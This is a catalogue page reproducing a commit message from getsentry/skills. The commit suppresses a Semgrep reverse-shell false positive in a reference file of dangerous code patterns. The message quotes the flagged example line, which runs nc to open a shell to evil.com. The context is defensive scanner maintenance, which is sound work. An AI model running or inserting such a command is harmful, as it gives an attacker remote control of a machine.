SkillPedia Skills Encyclopedia
中文 EN

Skills 2026-09-29 16:13 UTC

skills

Committed by geoffg-sentry. Update Category: Routine Updates & Maintenance. Commit details: Suppress Semgrep false positive in dangerous-code-patterns.md (#129). This update performs routine maintenance and minor adjustments.

geoffg-sentry d18b7aa getsentry/skills

CommitRaw commit message

Suppress Semgrep false positive in dangerous-code-patterns.md (#129)

## Summary

This PR suppresses a false positive Semgrep finding (reverse shell
detection) in the `dangerous-code-patterns.md` reference documentation
file.

## Changes

- Added `# nosemgrep: skill-reverse-shell` comment to line 47 in
`skills/skill-scanner/references/dangerous-code-patterns.md`

## Context

The Semgrep rule detected a reverse shell pattern in line 47:
```python
os.system("nc -e /bin/sh evil.com 4444")
```

However, this is a **documentation file** containing intentional
examples of dangerous code patterns for educational and reference
purposes. The code is not executed - it serves as a reference for
security scanning tools.

The Semgrep AI assistant correctly identified this as a false positive.

## Related Issues

- Parent ticket: https://linear.app/getsentry/issue/VULN-1570
- Child ticket: https://linear.app/getsentry/issue/ENG-7524

## Testing

No functional tests required - this is a markdown documentation file
with no executable code.